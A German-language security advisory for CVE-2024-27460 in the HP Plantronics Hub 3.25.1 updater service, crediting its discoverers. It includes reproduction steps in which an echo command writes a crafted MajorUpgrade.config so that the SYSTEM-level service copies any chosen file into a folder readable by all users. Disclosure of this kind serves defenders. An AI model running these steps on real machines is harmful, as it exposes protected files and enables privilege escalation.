CVE-2024-27460

HP Plantronics Hub 3.25.1 Updater Privilegienausweitung / Lesen beliebiger Dateien

Beschreibung:

HP Plantronics Hub 3.25.1 leidet unter einem Fehler, der es Benutzern mit niedrigen Berechtigungen ermöglicht, beliebige Dateien als SYSTEM auf dem Rechner zu lesen, auf dem die Anwendung installiert ist. Darüber hinaus ist es möglich, diesen Fehler auszunutzen, um Privilegien auf den SYSTEM-Benutzer auszuweiten.

Betroffene Versionen

HP Plantronics Hub 3.25.1

Betroffene Dienste

Unsicherer Pfad: "C:\ProgramData\Plantronics\Spokes3G"

Dienst: PlantronicsUpdateService

Schritte zur Reproduktion (POC):

• Öffnen Sie cmd.exe
• Navigieren Sie mit cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• Die gewünschte Datei wird in "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp" kopiert, auf die jeder authentifizierte Benutzer Zugriff hat.

Entdeckt von:

• Farid Zerrouk von Deloitte Belgien
• Alaa Kachouh von Mastercard Europe